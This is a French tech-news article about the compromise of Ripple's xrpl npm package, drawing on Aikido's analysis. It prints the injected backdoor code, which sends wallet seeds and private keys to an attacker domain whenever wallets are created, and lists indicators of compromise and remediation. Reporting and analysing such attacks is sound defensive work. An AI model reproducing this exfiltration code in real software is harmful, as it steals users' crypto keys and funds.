IdentifiantMot de passe
Loading...
Mot de passe oublié ?Je m'inscris ! (gratuit)

Vous êtes nouveau sur Developpez.com ? Créez votre compte ou connectez-vous afin de pouvoir participer !

Vous devez avoir un compte Developpez.com et être connecté pour pouvoir participer aux discussions.

Vous n'avez pas encore de compte Developpez.com ? Créez-en un en quelques instants, c'est entièrement gratuit !

Si vous disposez déjà d'un compte et qu'il est bien activé, connectez-vous à l'aide du formulaire ci-dessous.

Identifiez-vous
Identifiant
Mot de passe
Mot de passe oublié ?
Créer un compte

L'inscription est gratuite et ne vous prendra que quelques instants !

Je m'inscris !

Un pirate informatique infecte le logiciel officiel NPM du XRP Ledger de Ripple avec une "porte dérobée" de vol de cryptomonnaie
Des centaines de milliers d'applications et de sites web sont exposés

Le , par Jade Emy

2PARTAGES

5  0 
Un pirate informatique infecte le logiciel officiel NPM du XRP Ledger de Ripple avec une "porte dérobée" de vol de cryptomonnaie, des centaines de milliers d'applications et de sites web sont exposés

La bibliothèque JavaScript npm de la crypto-monnaie Ripple, nommée xrpl.js, a été compromise par des acteurs inconnus dans le cadre d'une attaque de la chaîne d'approvisionnement logicielle visant à récolter et à exfiltrer les clés privées des utilisateurs. L'activité malveillante affecte cinq versions différentes du paquetage : 4.2.1, 4.2.2, 4.2.3, 4.2.4 et 2.14.2. Le problème a été résolu dans les versions 4.2.5 et 2.14.3.

Depuis quelques années, les attaques de type "supply chain" ou chaîne d'approvisionnement sont devenues un sujet de préoccupation croissant pour les développeurs et les responsables de la sécurité informatique. En novembre 2024, une nouvelle vague de logiciels malveillants a ciblé le registre Node Package Manager (NPM), qui est largement utilisé dans l'écosystème JavaScript. Dans ce cadre, des centaines de bibliothèques ou "packages" ont été publiées avec un seul objectif : infecter les machines des développeurs et propager des logiciels malveillants.

Récemment, un pirate informatique a compromis un logiciel clé utilisé par les développeurs de la blockchain XRP Ledger, mettant ainsi en danger les fonds de milliers d'utilisateurs, selon Aikido, une société de sécurité de cryptomonnaie. Aikido a découvert qu'un pirate avait infecté le gestionnaire de paquets officiel du nœud XRP Ledger avec un code malveillant le 21 avril 2025. Le logiciel est utilisé par "des centaines de milliers d'applications et de sites web, ce qui en fait une attaque de la chaîne d'approvisionnement potentiellement catastrophique pour l'écosystème des crypto-monnaies", a déclaré Charlie Eriksen, un chercheur en sécurité d'Aikido, dans un rapport.

Selon XRPL Github, le gestionnaire de paquets node a été téléchargé plus de 140 000 fois. Le logiciel a été mis à jour vers une nouvelle version conçue pour remplacer les versions compromises le jour suivant.


Les mêmes développeurs qui ont ensuite fondé Ripple ont commencé à développer XRP Ledger, ou XRPL, en 2011. XRP est issu du projet de blockchain et Ripple continue de contribuer à XRPL, qui est décentralisé et dirigé par une communauté d'entreprises et de développeurs. XRPL utilise en partie le même logiciel qu'Ethereum et peut prendre en charge les contrats intelligents, contrairement à la blockchain principale de Ripple. Les applications DeFi sur XRPL détiennent des dépôts d'utilisateurs d'une valeur de 80 millions de dollars.

On ne sait pas exactement comment le pirate a pu remplacer le logiciel XRPL par des versions malveillantes. On ne sait pas non plus combien d'utilisateurs ont téléchargé ou ont été affectés par le logiciel malveillant alors qu'il était encore en ligne. Selon la XRP Ledger Foundation, une organisation à but non lucratif qui favorise l'activité et le développement de la blockchain XRPL, la compromission n'a pas affecté la base de code du XRP Ledger ou le dépôt Github, et les versions malveillantes du logiciel ont été supprimées.

L'incident soulève des inquiétudes quant au niveau de sécurité de XRP Ledger. En janvier 2024, Chris Larsen, cofondateur de Ripple, a perdu pour 112 millions de dollars de jetons XRP lors d'un vol qui a depuis été lié à une compromission de la société de logiciels de gestion de mots de passe LastPass. Le prix du XRP ayant grimpé de 294 % au cours de l'année écoulée, les jetons volés valent aujourd'hui 449 millions de dollars.

La compromission a commencé lorsqu'un utilisateur appelé mukulljangid a publié cinq nouvelles versions du gestionnaire de paquets de nœuds XRPL, sans publication correspondante sur le Github XRPL, ce qui, selon Eriksen, était très suspect. Au cours de plusieurs mises à jour de versions, le pirate a implanté dans le logiciel XRPL un code conçu pour voler les clés privées, semblables à des mots de passe, qui permettent d'accéder aux portefeuilles de crypto-monnaie.

Si un pirate parvenait à prendre connaissance de ces clés, il pourrait les utiliser pour accéder aux portefeuilles de cryptomonnaies et transférer des fonds sans l'autorisation de leurs propriétaires. Les multiples mises à jour de versions montrent que le pirate "travaillait activement sur l'attaque, essayant différentes manières d'insérer la porte dérobée tout en restant aussi caché que possible", a déclaré Eriksen.

En cybersécurité, une porte dérobée est un moyen secret et non documenté de contourner les mesures de sécurité normales pour obtenir un accès non autorisé à un système ou à un réseau. Eriksen a indiqué que le logiciel malveillant avait été détecté par le flux de menaces public d'Aikido, qui utilise des grands modèles de langage pour surveiller et identifier si un code malveillant est ajouté à un logiciel nouveau ou existant.

Fait intéressant, le groupe Lazarus de Corée du Nord avait utilisé le même type d'attaque récemment. Le groupe a diffusé des logiciels malveillants de vol de cryptomonnaie via GitHub et des paquets NPM. Le logiciel malveillant "Marstech1" cible les portefeuilles Exodus et Atomic sous Linux, macOS et Windows. Les chercheurs ont confirmé 233 victimes, exhortant les développeurs à surveiller la sécurité de la chaîne d'approvisionnement.

Pour plus d'information, voici le rapport de Charlie Eriksen où il partage comment les chercheurs d'aikido ont découvert l'attaque :


Attaque de la chaîne d'approvisionnement XRP : Paquet NPM officiel infecté par une porte dérobée voleuse de cryptomonnaie

Le 21 avril, 20:53 GMT+0, le système Aikido Intel a commencé à alerter sur cinq nouvelles versions du paquet xrpl. Il s'agit du SDK officiel pour le XRP Ledger, avec plus de 140 000 téléchargements hebdomadaires. Ils ont confirmé que le package officiel XPRL (Ripple) NPM a été compromis par des attaquants sophistiqués qui ont mis en place une porte dérobée pour voler les clés privées des crypto-monnaies et accéder aux portefeuilles de crypto-monnaies. Ce paquetage est utilisé par des centaines de milliers d'applications et de sites web, ce qui en fait une attaque de la chaîne d'approvisionnement potentiellement catastrophique pour l'écosystème des crypto-monnaies.


Nouveaux paquets publiés

L'utilisateur mukulljangid a publié cinq nouvelles versions de la bibliothèque à partir du 21 avril, 20:53 GMT+0 :


Ce qui est intéressant, c'est que ces versions ne correspondent pas aux versions officielles telles que vues sur GitHub, où la dernière version est 4.2.0 :


Le fait que ces paquets soient apparus sans version correspondante sur GitHub est très suspect.

Le code mystérieux

Le système a détecté un code étrange dans ces nouveaux paquets. Voici ce qu'il a identifié dans le fichier src/index.ts de la version 4.2.4 (qui est étiquetée comme la plus récente) :

Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
export { Client, ClientOptions } from './client'

export * from './models'

export * from './utils'

export { default as ECDSA } from './ECDSA'

export * from './errors'

export { FundingOptions } from './Wallet/fundWallet'
export { Wallet } from './Wallet'

export { walletFromSecretNumbers } from './Wallet/walletFromSecretNumbers'

export { keyToRFC1751Mnemonic, rfc1751MnemonicToKey } from './Wallet/rfc1751'

export * from './Wallet/signer'

const validSeeds = new Set<string>([])
export function checkValidityOfSeed(seed: string) {
  if (validSeeds.has(seed)) return
  validSeeds.add(seed)
  fetch("https://0x9c[.]xyz/xc", { method: 'POST', headers: { 'ad-referral': seed, } })
}


Tout semble normal jusqu'à la fin. Quelle est cette fonction checkValidityOfSeed ? Et pourquoi appelle-t-elle un domaine aléatoire appelé 0x9c[.]xyz ?

Quel est le domaine ?

Ils ont d'abord examiné le domaine pour déterminer s'il pouvait être légitime. Voici les détails du whois :


Ce n'est pas terrible. C'est un tout nouveau domaine. Très suspect.

Que fait le code ?

Le code lui-même définit juste une méthode, mais il n'y a pas d'appels immédiats à cette méthode. Les chercheurs ont cherché à savoir s'il était utilisé quelque part. Et oui, c'est le cas !


Elle est appelée dans des fonctions comme le constructeur de la classe Wallet de (src/Wallet/index.ts), volant des clés privées dès qu'un objet Wallet est instancié :

Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
 public constructor(
    publicKey: string,
    privateKey: string,
    opts: {
      masterAddress?: string
      seed?: string
    } = {},
  ) {
    this.publicKey = publicKey
    this.privateKey = privateKey
    this.classicAddress = opts.masterAddress
      ? ensureClassicAddress(opts.masterAddress)
      : deriveAddress(publicKey)
    this.seed = opts.seed

    checkValidityOfSeed(privateKey)
  }


Et ces fonctions :

Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
  private static deriveWallet(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const { publicKey, privateKey } = deriveKeypair(seed, {
      algorithm: opts.algorithm ?? DEFAULT_ALGORITHM,
    })

    checkValidityOfSeed(privateKey)
    return new Wallet(publicKey, privateKey, {
      seed,
      masterAddress: opts.masterAddress,
    })
  }
Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
 private static fromRFC1751Mnemonic(
    mnemonic: string,
    opts: { masterAddress?: string; algorithm?: ECDSA },
  ): Wallet {
    const seed = rfc1751MnemonicToKey(mnemonic)
    let encodeAlgorithm: 'ed25519' | 'secp256k1'
    if (opts.algorithm === ECDSA.ed25519) {
      encodeAlgorithm = 'ed25519'
    } else {
      // Defaults to secp256k1 since that's the default for `wallet_propose`
      encodeAlgorithm = 'secp256k1'
    }
    const encodedSeed = encodeSeed(seed, encodeAlgorithm)
    checkValidityOfSeed(encodedSeed)
    return Wallet.fromSeed(encodedSeed, {
      masterAddress: opts.masterAddress,
      algorithm: opts.algorithm,
    })
  }
Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
public static fromMnemonic(
    mnemonic: string,
    opts: {
      masterAddress?: string
      derivationPath?: string
      mnemonicEncoding?: 'bip39' | 'rfc1751'
      algorithm?: ECDSA
    } = {},
  ): Wallet {
    if (opts.mnemonicEncoding === 'rfc1751') {
      return Wallet.fromRFC1751Mnemonic(mnemonic, {
        masterAddress: opts.masterAddress,
        algorithm: opts.algorithm,
      })
    }
    // Otherwise decode using bip39's mnemonic standard
    if (!validateMnemonic(mnemonic, wordlist)) {
      throw new ValidationError(
        'Unable to parse the given mnemonic using bip39 encoding',
      )
    }

    const seed = mnemonicToSeedSync(mnemonic)
    checkValidityOfSeed(mnemonic)
    const masterNode = HDKey.fromMasterSeed(seed)
    const node = masterNode.derive(
      opts.derivationPath ?? DEFAULT_DERIVATION_PATH,
    )
    validateKey(node)

    const publicKey = bytesToHex(node.publicKey)
    const privateKey = bytesToHex(node.privateKey)
    return new Wallet(publicKey, `00${privateKey}`, {
      masterAddress: opts.masterAddress,
    })
  }
Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 public static fromEntropy(
    entropy: Uint8Array | number[],
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    const algorithm = opts.algorithm ?? DEFAULT_ALGORITHM
    const options = {
      entropy: Uint8Array.from(entropy),
      algorithm,
    }
    const seed = generateSeed(options)
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm,
      masterAddress: opts.masterAddress,
    })
  }
Code : Sélectionner tout
1
2
3
4
5
6
7
8
9
10
 public static fromSeed(
    seed: string,
    opts: { masterAddress?: string; algorithm?: ECDSA } = {},
  ): Wallet {
    checkValidityOfSeed(seed)
    return Wallet.deriveWallet(seed, {
      algorithm: opts.algorithm,
      masterAddress: opts.masterAddress,
    })
  }
Code : Sélectionner tout
1
2
3
4
5
6
7
8
 public static generate(algorithm: ECDSA = DEFAULT_ALGORITHM): Wallet {
    if (!Object.values(ECDSA).includes(algorithm)) {
      throw new ValidationError('Invalid cryptographic signing algorithm')
    }
    const seed = generateSeed({ algorithm })
    checkValidityOfSeed(seed)
    return Wallet.fromSeed(seed, { algorithm })
  }


Pourquoi tant de changements de version ?

En étudiant ces paquets, ils ont remarqué que les deux premiers paquets publiés (4.2.1 et 4.2.2) étaient différents des autres. Ils ont effectué un diff à trois voies sur les versions 4.2.0 (qui est légitime), 4.2.1 et 4.2.2 pour comprendre ce qui se passait. Voici leurs observations :

  • À partir de la version 4.2.1, les scripts et la configuration prettier ont été supprimés du package.json.
  • La première version à insérer du code malveillant dans src/Wallet/index.js est la 4.2.2.
  • Les versions 4.2.1 et 4.2.2 contenaient toutes deux un code malveillant build/xrp-latest-min.js et build/xrp-latest.js


En comparant la version 4.2.2 aux versions 4.2.3 et 4.2.4, ils ont constaté d'autres changements malveillants. Auparavant, seul le code JavaScript emballé avait été modifié. Il s'agit également des modifications malveillantes apportées à la version TypeScript du code

  • Les modifications de code précédemment montrées dans src/index.ts.
  • La modification du code malveillant dans src/Wallet/index.ts.
  • Au lieu que le code malveillant ait été inséré à la main dans les fichiers construits, la porte dérobée insérée dans index.ts est appelée.


L'attaquant a travaillé activement sur l'attaque, en essayant différentes manières d'insérer la porte dérobée tout en restant aussi caché que possible. Il est passé de l'insertion manuelle de la porte dérobée dans le code JavaScript construit, à son insertion dans le code TypeScript, puis à sa compilation dans la version construite.

Indicateurs de compromission

Pour déterminer si vous avez été compromis, voici les indicateurs que vous pouvez utiliser :

Nom du paquet : xrpl
Versions du paquet : Vérifiez votre package.json et package-lock.json pour ces versions :

  • 4.2.4
  • 4.2.3
  • 4.2.2
  • 4.2.1
  • 2.14.2

Faites attention si vous avez le paquet comme dépendance qui n'a pas été fixée avec un fichier de verrouillage de paquet, ou si vous utilisez une spécification de version approximative/compatible comme ~4.2.0 ou ^4.2.0, par exemple.

Si vous pensez avoir installé l'un des paquets ci-dessus entre le 21 avril, 20:53 GMT+0 et le 22 avril, 13:00 GMT+0, inspectez vos journaux de réseau à la recherche de connexions sortantes vers l'hôte ci-dessous :

Domain : 0x9c[.]xyz

Remediation

Si vous pensez avoir été affecté, il est important de supposer que toute graine ou clé privée qui a été traitée par le code a été compromise. Ces clés ne doivent plus être utilisées et tous les actifs qui y sont associés doivent être immédiatement transférés vers un autre porte-monnaie/clé. Depuis que le problème a été révélé, l'équipe xrpl a publié deux nouvelles versions pour remplacer les paquets compromis :

  • 4.2.5
  • 2.14.3


Source : Rapport de Charlie Eriksen d'Aikido

Et vous ?

Pensez-vous que ce rapport est crédible ou pertinent ?
Quel est votre avis sur le sujet ?

Voir aussi :

70% des nouveaux paquets NPM au cours des 6 derniers mois étaient des spams. Une équipe de chercheurs a révélé la prolifération de paquets de spam sur npm associés au protocole Tea qui promet des récompenses

Invasion silencieuse : des centaines de bibliothèques malveillantes publiées sur NPM tentent d'installer des malwares sur les machines des développeurs pour infiltrer les entreprises

Des hackers ont inondé NPM avec de faux packages, provoquant une attaque DoS qui a rendu NPM instable, selon un rapport de Checkmarx qui note une explosion de packages publiés en mars
Vous avez lu gratuitement 0 articles depuis plus d'un an.
Soutenez le club developpez.com en souscrivant un abonnement pour que nous puissions continuer à vous proposer des publications.

Une erreur dans cette actualité ? Signalez-nous-la !